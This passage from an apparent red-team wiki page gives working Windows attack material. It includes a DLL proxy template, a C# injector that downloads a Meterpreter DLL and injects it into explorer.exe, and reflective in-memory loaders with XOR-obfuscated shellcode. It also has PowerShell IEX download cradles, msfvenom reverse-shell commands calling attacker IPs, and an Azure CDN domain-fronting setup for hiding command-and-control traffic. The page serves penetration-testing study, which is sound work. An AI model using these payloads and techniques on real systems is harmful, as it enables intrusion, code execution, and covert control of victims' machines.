#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
